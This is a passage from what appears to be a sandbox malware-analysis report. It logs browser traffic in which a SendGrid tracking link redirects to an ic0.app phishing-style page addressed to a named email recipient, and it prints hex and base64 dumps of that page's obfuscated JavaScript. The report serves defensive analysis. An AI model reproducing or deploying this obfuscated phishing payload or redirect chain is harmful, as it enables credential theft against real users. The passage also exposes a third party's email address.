Date: Fri, 01 Jul 2022 17:36:53 GMT
Expires: Fri, 01 Jul 2022 18:06:53 GMT
Cache-Control: public, max-age=1800
Content-Type: text/html; charset=UTF-8
Age: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2022-07-01 17:36:53 UTC 427 IN Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 
74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 
38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 
3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 
76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 74 31 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 66 61 76 69 
63 6f 6e 56 32 3f 63 6c 69 65 6e 74 3d 53 4f 43 49 41 4c 26 61 6d 70 3b 74 79 70 65 3d 46 41 56 49 43 4f 4e 26 61 6d 70 
3b 66 61 6c 6c 62 61 63 6b 5f 6f 70 74 73 3d 54 59 50 45 2c 
Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TI
TLE></HEAD><BODY><H1>301 Moved</H1>The document has moved<A HREF="https://t1.gstatic.com/faviconV2?c
lient=SOCIAL&amp;type=FAVICON&amp;fallback_opts=TYPE,

Session ID Source IP Source Port Destination IP
Destination
Port

Process

2 192.168.2.3 49720 167.89.115.54 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

Timestamp
kBytes
transferred

Direction Data

2022-07-01 17:36:47 UTC 4 OUT GET /ls/click?upn=gU5vgDjVhsr8xBWi9KbyhCmRGj-2Bhghe49Z0FiLcWjrB3-2BHjpRZrJUn0d0SGBkXrx6oN6
ZDJ2BS4RqE-2FwX06Vp6CNzr5fnG8rLhZtVfnefSs-3DAxs4_-2BYPg4XG7CFcrtVeqe-2FEiJSrJo19pXwJ6tXzH5
pmmxxnbXO272-2BI29kN-2BvjWAIpglbQXOPOiRaJAAdguTnhglHj-2BjiZuY-2Bl2yPjdcSrK-2F9ezebjhFVSInU
RAAh0NL7wSvgIxrQfzCizFzhR7FuzvZGAC9IXJiD5MvT-2BM-2Bord7nJExCKq3jFy6KjuvaLIUZjyvy957XsqnMtt
ci2nlXO0KBQ-3D-3D HTTP/1.1
Host: u27457241.ct.sendgrid.net
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-07-01 17:36:47 UTC 5 IN HTTP/1.1 302 Found
Server: nginx
Date: Fri, 01 Jul 2022 17:36:47 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 92
Connection: close
Location: http://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/l#jwilson@glenergy.com
X-Robots-Tag: noindex, nofollow

2022-07-01 17:36:47 UTC 5 IN Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 68 36 79 61 6b 2d 6a 71 61 61 61 2d 61 61 61 61 64 2d 71 63 
79 73 71 2d 63 61 69 2e 72 61 77 2e 69 63 30 2e 61 70 70 2f 6c 23 6a 77 69 6c 73 6f 6e 40 67 6c 65 6e 65 72 67 79 2e 
63 6f 6d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a 
Data Ascii: <a href="http://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/l#jwilson@glenergy.com">Found</a>.

Session ID Source IP Source Port Destination IP
Destination
Port

Process

3 192.168.2.3 49730 145.40.97.98 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 17:36:47 UTC 5 OUT GET /l HTTP/1.1
Host: h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Copyright Joe Security LLC 2022 Page 50 of 79



2022-07-01 17:36:48 UTC 6 IN HTTP/1.1 200 OK
Server: nginx/1.21.3
Date: Fri, 01 Jul 2022 17:36:48 GMT
Content-Type: text/html
Content-Length: 74034
Connection: close
ic-certificate: certificate=:2dn3o2R0cmVlgwGDAYMBgwJIY2FuaXN0ZXKDAYIEWCAQVKwzSZ8Atby0Yodr6
wTbmud3Swtvhm2bhcXcs2AETIMBggRYIIbu2FhlsDgvaMFtAKa5DEKV2Au1uzHWU5TSSRxjuLz5gwGCBFggFRbetAZ
lskRwdIIxVsB1f9KVJj3rugV1UbinI8+wifuDAYMBggRYIN0CClzTXpHKYMh0o/7GUOUDPiRUPiX/+EuBm5H5gk9wg
wGDAYIEWCC2HQDP3BwyUeiobD219uzMOvrh7diHn7nHA4saYe7f5oMBgwGDAYMBgwJKAAAAAABwFiUBA
YMBgwGDAYMCTmNlcnRpZmllZF9kYXRhggNYIKDjdrFhdYN8XaiCRVAKnpGbSO1c/qAuBJaNAFQ1nr4pggRYIIPFa/F
N3j0o3mbGkrX8nZfp3ZhbatcrD+b4ToqN89yyggRYIPBH5p8Vqfj1hRnHFe3gfB6Ynwktu+evoMCF1XJwHCiSggRYI
F+W4fUmhjXLoFGdAzt3ZJ1e8HASiQ7D/3viZbMsAhowggRYILuffDjQiappUTGAqta9I7j0W+DUKqfEGVek6MOSGNW
5ggRYIK8JnebtggnuQTkcoxhNOLBkH0iCcc6a2Ki5x4Kftm98ggRYIN4O245T06Q9GWDPDn5OMRQu1/qIknAokD/EP
I1WVH2GggRYIC1IvxXZuZ5iwfv8cF//MGpNmGtqGqCR03vDN2qdgHFnggRYIGyBtVcxslDerGb3tnpiqj9nSJgJQ0k
htS+R4OPk/H2KggRYIFWQNlm0vxaZjBL6HPZXqj6Z9MdyFBeOLvZsIio/qs/tggRYIGzkgkhPjBptVECo0cxlz2R72
ajQ/8c+Mx3rvD/jeIuUggRYICKazNELsBFNpmIvTWAg2FcUHOv2wK4QxDguNFaXuWSFgwGCBFggTgsK70mpIsr5OY2
a8FqkxazyVPwuAGKVTE1pyHw5kdODAkR0aW1lggNJ/KD3iOSk8f4WaXNpZ25hdHVyZVgwhT6FQYyhj+PAodf66gK/d
g/q/NIYBNTBmVthRFHFYjyTDV4UEO1OGOj824OJjI5gamRlbGVnYXRpb26iaXN1Ym5ldF9pZFgdRReLZqQHpNWcCk1
nM72izj83wRG0JX7EGQj0+AJrY2VydGlmaWNhdGVZAlfZ2feiZHRyZWWDAYIEWCDOOXVaBnFsPD3vwuK
HT/zwYmoPRoHn66PRWOc4ZFvfyIMBgwJGc3VibmV0gwGDAYMBggRYIILbkD13Op8gwGxVWf7O1uGq/rM
o760aSLMxY6EHe4ZcgwGCBFggRmpwKGz5rOmAHKU+Iq9u4FmglP1gSYYG1IS2hUBYMH2DAYIEWCBqDNC
BsmiGCC/kxTq3TX6j8oozoI937FKbUm2mgLiUZ4MBgwJYHUUXi2akB6TVnApNZzO9os4/N8ERtCV+xBkI9PgCgwGDA
k9jYW5pc3Rlcl9yYW5nZXOCA1gb2dn3gYJKAAAAAABwAAABAUoAAAAAAH///wEBgwJKcHVibGljX2tleYIDWIUwgYI
wHQYNKwYBBAGC3HwFAwECAQYMKwYBBAGC3HwFAwIBA2EAlV9S9zwt7FmmN7KU5QuTTbXW3innO7z4Tn2
GpKxBute1OfmBet6JFpYdnda/klcBDVhXFW6P5qr89v0Gh5XnC9M5mzQRMAyczI66DQaMEOTPtvTifRlbHq14XWGOs
5O5ggRYIACb5up/r6zo98JL3iVaR+5K50E9UB4zvto/crWh7042ggRYIMxAZ/PAkJXsYM3e1Qv0Q60gC6qyxO/Xzgp
9AL6XuHY+ggRYIC2Fa7p7bIAXHOjl0SG7fkRQs1ZaZE2RNen+WIQoHB+5gwJEdGltZYIDSae1jtzFhcf+FmlzaWduY
XR1cmVYMKYtasZ1wa0OKcdS2NNLRnC/zAsn2ktkHSSjkmojEL13rXDTx073k2skXoVvrEtRow==:, tree=:2dn3gw
JLaHR0cF9hc3NldHODAYMBgwJLL2luZGV4Lmh0bWyCA1gg2/651mvH1DB9QF5KBay4X7W3HXHvBy9FSe
Vaqi8gDWSDAksvbG9naW4uaHRtbIIEWCCBRKqLFe0nrAhYOtWqrRZYLF2klsT/0hWrDsVZ0u+UdIIEWCA7GxZQOnb1
Ao2EfhIavJ2DdQ5xwx9snOPAatP5Y41a7Q==:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, HEAD, OPTIONS
Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Ran
ge,Cookie
Access-Control-Expose-Headers: Content-Length,Content-Range
X-Cache-Status: MISS

2022-07-01 17:36:48 UTC 9 IN Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 74 65 6d 70 6c 61 74 65 20 69 
64 3d 22 61 64 62 32 63 35 61 30 2d 34 37 37 38 2d 34 34 61 37 2d 38 32 34 35 2d 66 62 37 35 61 66 37 62 62 37 38 36 
22 3e 65 4a 79 46 56 4e 39 7a 32 30 51 51 66 73 5a 2f 78 56 6c 6c 6f 72 74 49 6c 71 32 47 55 6f 70 30 4a 6b 7a 49 51 32 
5a 67 79 67 42 35 41 45 76 4e 58 4f 79 56 4c 5a 44 75 7a 47 6d 64 70 48 58 38 76 33 66 50 6b 59 6a 6c 46 6e 69 77 64 
46 35 39 75 39 2b 33 76 34 36 6c 77 78 2f 65 58 76 7a 32 2b 38 2b 58 62 49 56 31 4e 55 33 62 4a 36 6a 46 4e 4d 55 53 
4b 35 69 6d 34 2b 36 39 74 77 37 53 57 37 4e 34 54 36 39 6d 62 73 73 31 54 67 64 33 79 72 4a 4e 59 55 31 39 62 61 73 
35 6b 38 7a 33 45 39 59 7a 6b 6d 30 4a 65 41 4f 31 4b 71 75 62 6c 57 
Data Ascii: <html><head></head><body><template id="adb2c5a0-4778-44a7-8245-fb75af7bb786">eJyFVN9z20Q
QfsZ/xVllortIlq2GUop0JkzIQ2ZgygB5AEvNXOyVLZDuzGmdpHX8v3fPkYjlFniwdF59u9+3v46lwx/eXvz2+8+XbIV1NU3bJ6j
FNMUSK5im4+69tw7SW7N4T69mbss1Tgd3yrJNYU19bas5k8z3E9Yzkm0JeAO1KqublW

2022-07-01 17:36:48 UTC 10 IN Data Raw: 34 4e 6a 42 6c 4f 54 4d 35 4b 44 42 34 4d 54 68 69 4b 53 6b 76 4d 48 67 7a 4b 69 67 74 63 47 46 79 63 32 56 
4a 62 6e 51 6f 58 7a 42 34 4e 6a 42 6c 4f 54 4d 35 4b 44 42 34 4d 54 63 7a 4b 53 6b 76 4d 48 67 30 4b 53 73 74 63 47 
46 79 63 32 56 4a 62 6e 51 6f 58 7a 42 34 4e 6a 42 6c 4f 54 4d 35 4b 44 42 34 4d 54 67 78 4b 53 6b 76 4d 48 67 31 4b 
79 31 77 59 58 4a 7a 5a 55 6c 75 64 43 68 66 4d 48 67 32 4d 47 55 35 4d 7a 6b 6f 4d 48 67 78 4e 54 6b 70 4b 53 38 77 
65 44 59 71 4b 43 31 77 59 58 4a 7a 5a 55 6c 75 64 43 68 66 4d 48 67 32 4d 47 55 35 4d 7a 6b 6f 4d 48 67 78 4e 57 49 
70 4b 53 38 77 65 44 63 70 4b 33 42 68 63 6e 4e 6c 53 57 35 30 4b 46 38 77 65 44 59 77 5a 54 6b 7a 4f 53 67 77 65 44 
45 31 59 79 6b 70 4c 7a 42 34 4f 43 6f 6f 4c 58 42 68 63 6e 4e 6c 53 57 
Data Ascii: 4NjBlOTM5KDB4MThiKSkvMHgzKigtcGFyc2VJbnQoXzB4NjBlOTM5KDB4MTczKSkvMHg0KSstcGFyc
2VJbnQoXzB4NjBlOTM5KDB4MTgxKSkvMHg1Ky1wYXJzZUludChfMHg2MGU5MzkoMHgxNTkpKS8weDYqK
C1wYXJzZUludChfMHg2MGU5MzkoMHgxNWIpKS8weDcpK3BhcnNlSW50KF8weDYwZTkzOSgweDE1YykpL
zB4OCooLXBhcnNlSW

2022-07-01 17:36:48 UTC 14 IN Data Raw: 68 4d 32 51 38 50 46 38 77 65 44 46 6c 4f 44 55 78 4d 58 78 66 4d 48 67 31 5a 44 4e 68 4f 47 59 73 58 7a 42 
34 4d 6a 4e 6a 4d 44 42 6b 4b 7a 31 66 4d 48 67 78 5a 54 67 31 4d 54 45 37 5a 57 78 7a 5a 58 74 6d 62 33 49 6f 58 7a 
42 34 4d 6a 67 32 4e 44 55 79 50 54 42 34 4d 44 74 66 4d 48 67 79 4f 44 59 30 4e 54 49 38 58 7a 42 34 4d 57 55 34 4e 
54 45 78 4f 79 73 72 58 7a 42 34 4d 6a 67 32 4e 44 55 79 4b 56 38 77 65 44 64 6a 4e 32 45 7a 5a 44 31 66 4d 48 67 33 
59 7a 64 68 4d 32 51 38 50 44 42 34 4d 58 78 66 4d 48 67 31 5a 44 4e 68 4f 47 59 2b 50 6c 38 77 65 44 46 6c 4f 44 55 
78 4d 53 31 66 4d 48 67 79 4f 44 59 30 4e 54 49 74 4d 48 67 78 4a 6a 42 34 4d 53 77 77 65 44 67 39 50 53 73 72 58 7a 
42 34 4d 6a 4e 6a 4d 44 42 6b 4a 69 59 6f 58 7a 42 34 4d 6a 4e 6a 4d 44 
Data Ascii: hM2Q8PF8weDFlODUxMXxfMHg1ZDNhOGYsXzB4MjNjMDBkKz1fMHgxZTg1MTE7ZWxzZXtmb3IoXzB4M
jg2NDUyPTB4MDtfMHgyODY0NTI8XzB4MWU4NTExOysrXzB4Mjg2NDUyKV8weDdjN2EzZD1fMHg3YzdhM
2Q8PDB4MXxfMHg1ZDNhOGY+Pl8weDFlODUxMS1fMHgyODY0NTItMHgxJjB4MSwweDg9PSsrXzB4MjNjM
DBkJiYoXzB4MjNjMD

2022-07-01 17:36:48 UTC 18 IN Data Raw: 7a 59 6a 6b 30 4d 31 73 6e 58 48 67 32 5a 6c 78 34 4e 7a 56 63 65 44 63 30 58 48 67 33 4d 46 78 34 4e 7a 
56 63 65 44 63 30 58 48 67 30 4f 56 78 34 4e 6d 56 63 65 44 59 30 58 48 67 32 4e 56 78 34 4e 7a 67 6e 58 53 59 6d 4b 
48 52 6f 61 58 4e 62 4a 31 78 34 4e 6a 49 6e 58 54 31 66 4d 48 67 78 4d 32 49 35 4e 44 4e 62 58 7a 42 34 4d 7a 59 77 
4f 57 49 35 4b 44 42 34 4d 54 63 35 4b 56 30 70 4b 53 78 30 61 47 6c 7a 57 79 64 63 65 44 59 78 4a 31 31 38 66 43 68 
30 61 47 6c 7a 57 79 64 63 65 44 59 78 4a 31 30 39 62 6d 56 33 4b 46 38 77 65 44 51 7a 4e 6a 55 7a 4d 6a 39 56 61 57 
35 30 4f 45 46 79 63 6d 46 35 4f 6b 46 79 63 6d 46 35 4b 53 67 77 65 44 67 77 4d 44 41 70 4b 54 74 39 58 7a 42 34 4e 
44 67 79 4d 54 59 34 57 31 38 77 65 44 4e 6c 4f 47 55 30 4e 53 67 77 65 44 
Data Ascii: zYjk0M1snXHg2Zlx4NzVceDc0XHg3MFx4NzVceDc0XHg0OVx4NmVceDY0XHg2NVx4NzgnXSYmKHRoa
XNbJ1x4NjInXT1fMHgxM2I5NDNbXzB4MzYwOWI5KDB4MTc5KV0pKSx0aGlzWydceDYxJ118fCh0aGlzWydceDYxJ10
9bmV3KF8weDQzNjUzMj9VaW50OEFycmF5OkFycmF5KSgweDgwMDApKTt9XzB4NDgyMTY4W18weDNlOGU
0NSgweD
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2022-07-01 17:36:48 UTC 22 IN Data Raw: 77 65 44 51 32 4d 44 46 68 5a 69 67 77 65 44 45 31 5a 53 6c 64 4b 54 30 39 50 56 38 77 65 44 49 31 5a 6a 
56 6b 4d 43 78 66 4d 48 67 30 59 57 55 7a 59 6d 55 39 58 7a 42 34 4d 54 51 30 4d 47 55 32 4c 46 38 77 65 44 4d 30 4e 
57 55 7a 5a 54 31 66 4d 48 67 78 4e 44 51 77 5a 54 59 73 58 7a 42 34 4d 6a 59 35 4d 54 67 32 50 58 52 6f 61 58 4e 62 
4a 31 78 34 4e 6a 45 6e 58 53 78 66 4d 48 67 30 59 6d 51 33 4e 32 49 39 64 47 68 70 63 31 73 6e 58 48 67 32 4d 69 64 
64 4f 32 6c 6d 4b 46 38 77 65 44 51 7a 4e 6a 55 7a 4d 69 6c 37 5a 6d 39 79 4b 46 38 77 65 44 49 32 4f 54 45 34 4e 6a 
31 75 5a 58 63 67 56 57 6c 75 64 44 68 42 63 6e 4a 68 65 53 68 30 61 47 6c 7a 57 79 64 63 65 44 59 78 4a 31 31 62 4a 
31 78 34 4e 6a 4a 63 65 44 63 31 58 48 67 32 4e 6c 78 34 4e 6a 5a 63 65 44 
Data Ascii: weDQ2MDFhZigweDE1ZSldKT09PV8weDI1ZjVkMCxfMHg0YWUzYmU9XzB4MTQ0MGU2LF8weDM0NWUzZ
T1fMHgxNDQwZTYsXzB4MjY5MTg2PXRoaXNbJ1x4NjEnXSxfMHg0YmQ3N2I9dGhpc1snXHg2MiddO2lmK
F8weDQzNjUzMil7Zm9yKF8weDI2OTE4Nj1uZXcgVWludDhBcnJheSh0aGlzWydceDYxJ11bJ1x4NjJceDc1XHg2Nlx
4NjZceD

2022-07-01 17:36:48 UTC 26 IN Data Raw: 78 58 54 74 6d 62 33 49 6f 58 7a 42 34 4d 6d 51 34 5a 54 49 78 50 54 42 34 4d 44 74 66 4d 48 67 79 5a 44 
68 6c 4d 6a 45 38 58 7a 42 34 4d 54 64 6c 4d 44 45 78 4f 31 38 77 65 44 4a 6b 4f 47 55 79 4d 53 73 72 4b 56 38 77 65 
47 4a 68 4f 54 46 6b 4f 46 74 66 4d 48 67 7a 4e 32 4d 35 4e 6d 49 72 4b 31 30 39 58 7a 42 34 4d 54 4d 31 4e 54 55 35 5
7 31 38 77 65 44 4a 6b 4f 47 55 79 4d 56 30 37 61 57 59 6f 49 56 38 77 65 44 51 7a 4e 6a 55 7a 4d 69 6c 37 5a 6d 39 79 
4b 46 38 77 65 44 4a 6b 4f 47 55 79 4d 54 30 77 65 44 41 73 58 7a 42 34 4d 54 6c 6b 4d 54 45 78 50 56 38 77 65 47 45 
77 4d 7a 41 32 4e 46 74 66 4d 48 67 30 4e 6a 41 78 59 57 59 6f 4d 48 67 78 4e 57 55 70 58 54 74 66 4d 48 67 79 5a 44 
68 6c 4d 6a 45 38 58 7a 42 34 4d 54 6c 6b 4d 54 45 78 4f 79 73 72 58 7a 
Data Ascii: xXTtmb3IoXzB4MmQ4ZTIxPTB4MDtfMHgyZDhlMjE8XzB4MTdlMDExO18weDJkOGUyMSsrKV8weGJhO
TFkOFtfMHgzN2M5NmIrK109XzB4MTM1NTU5W18weDJkOGUyMV07aWYoIV8weDQzNjUzMil7Zm9yKF8we
DJkOGUyMT0weDAsXzB4MTlkMTExPV8weGEwMzA2NFtfMHg0NjAxYWYoMHgxNWUpXTtfMHgyZDhlMjE8X
zB4MTlkMTExOysrXz

2022-07-01 17:36:48 UTC 30 IN Data Raw: 35 4f 47 46 62 4b 79 74 66 4d 48 67 31 4f 54 4a 69 4e 7a 4e 64 4c 46 38 77 65 44 49 31 4f 44 6b 34 59 56 73 
72 4b 31 38 77 65 44 55 35 4d 6d 49 33 4d 31 30 73 58 7a 42 34 4d 7a 4d 30 5a 54 4d 79 4b 54 74 6c 62 48 4e 6c 65 32 
6c 6d 4b 44 42 34 4d 54 41 77 50 54 30 39 58 7a 42 34 4d 54 64 6d 4d 6a 6c 6d 4b 57 4a 79 5a 57 46 72 4f 33 31 30 61 
47 6c 7a 57 79 64 63 65 44 59 78 4a 31 30 39 58 7a 42 34 4e 47 46 6d 59 32 51 30 57 31 38 77 65 44 51 32 4d 44 46 68 
5a 69 67 77 65 44 45 35 4d 69 6c 64 4b 43 6b 73 64 47 68 70 63 31 73 6e 58 48 67 32 4d 69 64 64 50 58 52 6f 61 58 4e 
62 4a 31 78 34 4e 6a 45 6e 58 56 74 66 4d 48 67 30 4e 6a 41 78 59 57 59 6f 4d 48 67 78 4e 57 55 70 58 54 74 69 63 6d 
56 68 61 7a 74 6b 5a 57 5a 68 64 57 78 30 4f 6c 38 77 65 44 49 79 4e 44 
Data Ascii: 5OGFbKytfMHg1OTJiNzNdLF8weDI1ODk4YVsrK18weDU5MmI3M10sXzB4MzM0ZTMyKTtlbHNle2lmK
DB4MTAwPT09XzB4MTdmMjlmKWJyZWFrO310aGlzWydceDYxJ109XzB4NGFmY2Q0W18weDQ2MDFhZigwe
DE5MildKCksdGhpc1snXHg2MiddPXRoaXNbJ1x4NjEnXVtfMHg0NjAxYWYoMHgxNWUpXTticmVhaztkZWZhdWx0Ol8
weDIyND

2022-07-01 17:36:48 UTC 34 IN Data Raw: 34 4d 54 4d 78 4f 57 52 6a 4c 54 42 34 5a 43 77 77 65 44 4a 64 4f 32 4a 79 5a 57 46 72 4f 32 4e 68 63 32 55 
67 4d 48 67 78 4f 44 34 39 58 7a 42 34 4d 54 4d 78 4f 57 52 6a 4f 6c 38 77 65 44 55 35 59 7a 64 6c 5a 44 31 62 4d 48 67 
34 4c 46 38 77 65 44 45 7a 4d 54 6c 6b 59 79 30 77 65 44 45 78 4c 44 42 34 4d 31 30 37 59 6e 4a 6c 59 57 73 37 59 32 
46 7a 5a 53 41 77 65 44 49 77 50 6a 31 66 4d 48 67 78 4d 7a 45 35 5a 47 4d 36 58 7a 42 34 4e 54 6c 6a 4e 32 56 6b 50 
56 73 77 65 44 6b 73 58 7a 42 34 4d 54 4d 78 4f 57 52 6a 4c 54 42 34 4d 54 6b 73 4d 48 67 7a 58 54 74 69 63 6d 56 68 
61 7a 74 6a 59 58 4e 6c 49 44 42 34 4d 7a 41 2b 50 56 38 77 65 44 45 7a 4d 54 6c 6b 59 7a 70 66 4d 48 67 31 4f 57 4d 
33 5a 57 51 39 57 7a 42 34 59 53 78 66 4d 48 67 78 4d 7a 45 35 5a 47 
Data Ascii: 4MTMxOWRjLTB4ZCwweDJdO2JyZWFrO2Nhc2UgMHgxOD49XzB4MTMxOWRjOl8weDU5YzdlZD1bMHg4L
F8weDEzMTlkYy0weDExLDB4M107YnJlYWs7Y2FzZSAweDIwPj1fMHgxMzE5ZGM6XzB4NTljN2VkPVsweDksXzB4MTM
xOWRjLTB4MTksMHgzXTticmVhaztjYXNlIDB4MzA+PV8weDEzMTlkYzpfMHg1OWM3ZWQ9WzB4YSxfMHgxMzE5ZG

2022-07-01 17:36:48 UTC 38 IN Data Raw: 32 59 6d 51 72 58 7a 42 34 4e 47 56 6c 5a 57 51 32 58 53 78 66 4d 48 67 31 4f 44 55 33 4e 44 68 62 58 7a 42 
34 4e 47 4a 6d 4f 44 68 6b 4b 79 74 64 50 56 38 77 65 44 51 77 4d 57 46 68 59 53 77 72 4b 31 38 77 65 44 45 7a 5a 47 
52 6c 4f 56 74 66 4d 48 67 30 4d 44 46 68 59 57 46 64 4f 32 4a 79 5a 57 46 72 4f 33 30 77 65 44 41 38 58 7a 42 34 4d 
6a 41 30 59 32 51 78 57 31 38 77 65 44 4e 6d 4d 54 4d 31 5a 69 67 77 65 44 45 31 5a 53 6c 64 50 79 68 66 4d 48 67 30 
59 57 5a 68 4e 54 45 39 58 7a 42 34 4d 6d 49 30 4d 44 59 34 4b 46 38 77 65 44 52 68 4d 7a 63 35 59 53 78 66 4d 48 67 
78 4d 47 49 32 59 6d 51 73 58 7a 42 34 4d 6a 41 30 59 32 51 78 4b 53 78 66 4d 48 67 7a 59 6d 45 33 4d 47 51 2f 58 7a 
42 34 4d 32 4a 68 4e 7a 42 6b 57 31 38 77 65 44 4e 6d 4d 54 4d 31 5a 69 
Data Ascii: 2YmQrXzB4NGVlZWQ2XSxfMHg1ODU3NDhbXzB4NGJmODhkKytdPV8weDQwMWFhYSwrK18
weDEzZGRlOVtfMHg0MDFhYWFdO2JyZWFrO30weDA8XzB4MjA0Y2QxW18weDNmMTM1ZigweDE1ZSldPyh
fMHg0YWZhNTE9XzB4MmI0MDY4KF8weDRhMzc5YSxfMHgxMGI2YmQsXzB4MjA0Y2QxKSxfMHgzYmE3MGQ
/XzB4M2JhNzBkW18weDNmMTM1Zi

2022-07-01 17:36:48 UTC 42 IN Data Raw: 32 4b 53 78 66 4d 48 67 79 4d 54 41 78 4e 6a 67 39 4b 44 42 34 4d 54 77 38 58 7a 42 34 4e 32 46 6a 4f 54 
41 32 4b 53 31 66 4d 48 67 78 4d 7a 67 35 59 6a 59 73 58 7a 42 34 4d 6a 55 34 4f 44 46 68 50 54 42 34 4d 54 77 38 58 
7a 42 34 4e 32 46 6a 4f 54 41 32 4c 54 42 34 4d 54 74 6d 62 33 49 6f 58 7a 42 34 4d 54 59 31 4e 7a 4d 32 57 31 38 77 6
5 44 64 68 59 7a 6b 77 4e 69 30 77 65 44 46 64 50 56 38 77 65 44 45 7a 4f 44 6c 69 4e 69 78 66 4d 48 67 79 4e 57 52 
6a 59 54 6b 39 4d 48 67 77 4f 31 38 77 65 44 49 31 5a 47 4e 68 4f 54 78 66 4d 48 67 33 59 57 4d 35 4d 44 59 37 4b 79 
74 66 4d 48 67 79 4e 57 52 6a 59 54 6b 70 58 7a 42 34 4d 6a 45 77 4d 54 59 34 50 46 38 77 65 44 49 31 4f 44 67 78 59 
54 39 66 4d 48 68 6a 4f 57 55 30 59 57 52 62 58 7a 42 34 4d 6a 56 6b 59 32 
Data Ascii: 2KSxfMHgyMTAxNjg9KDB4MTw8XzB4N2FjOTA2KS1fMHgxMzg5YjYsXzB4MjU4ODFhPTB4MTw8XzB4N
2FjOTA2LTB4MTtmb3IoXzB4MTY1NzM2W18weDdhYzkwNi0weDFdPV8weDEzODliNixfMHgyNWRjYTk9MHgwO18weDI
1ZGNhOTxfMHg3YWM5MDY7KytfMHgyNWRjYTkpXzB4MjEwMTY4PF8weDI1ODgxYT9fMHhjOWU0YWRbXzB4MjVkY2

2022-07-01 17:36:48 UTC 46 IN Data Raw: 70 4f 6c 38 77 65 44 4d 32 5a 54 56 6b 4d 79 78 30 61 47 6c 7a 57 79 64 63 65 44 63 7a 4a 31 30 39 49 54 42 
34 4d 53 78 30 61 47 6c 7a 57 79 64 63 65 44 5a 6c 4a 31 30 39 58 7a 42 34 4d 6a 64 6b 4e 47 45 77 4c 48 52 6f 61 58 
4e 62 4a 31 78 34 4e 44 49 6e 58 54 30 68 4d 48 67 78 4c 43 46 66 4d 48 67 31 4e 6d 56 6b 59 7a 63 6d 4a 69 68 66 4d 
48 67 31 4e 6d 56 6b 59 7a 63 39 65 33 30 70 66 48 77 6f 58 7a 42 34 4e 54 5a 6c 5a 47 4d 33 57 31 38 77 65 44 49 7a 
4e 6d 4d 31 5a 69 67 77 65 44 45 35 4d 43 6c 64 4a 69 59 6f 64 47 68 70 63 31 73 6e 58 48 67 32 4d 79 64 64 50 56 38 
77 65 44 55 32 5a 57 52 6a 4e 31 73 6e 58 48 67 32 4f 56 78 34 4e 6d 56 63 65 44 59 30 58 48 67 32 4e 56 78 34 4e 7a 
67 6e 58 53 6b 73 58 7a 42 34 4e 54 5a 6c 5a 47 4d 33 57 31 38 77 65 44 
Data Ascii: pOl8weDM2ZTVkMyx0aGlzWydceDczJ109ITB4MSx0aGlzWydceDZlJ109XzB4MjdkNGEwLHRoaXNbJ
1x4NDInXT0hMHgxLCFfMHg1NmVkYzcmJihfMHg1NmVkYzc9e30pfHwoXzB4NTZlZGM3W18weDIzNmM1ZigweDE5MCl
dJiYodGhpc1snXHg2MyddPV8weDU2ZWRjN1snXHg2OVx4NmVceDY0XHg2NVx4NzgnXSksXzB4NTZlZGM3W18weD
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2022-07-01 17:36:48 UTC 50 IN Data Raw: 68 5a 44 4d 32 59 54 51 37 4b 79 74 66 4d 48 67 79 4d 54 4a 68 4d 54 45 70 58 7a 42 34 5a 57 56 6a 4d 54 
67 30 57 31 38 77 65 44 51 33 5a 6a 6c 68 5a 6c 74 66 4d 48 67 79 4d 54 4a 68 4d 54 46 64 58 54 31 66 4d 48 67 33 59 
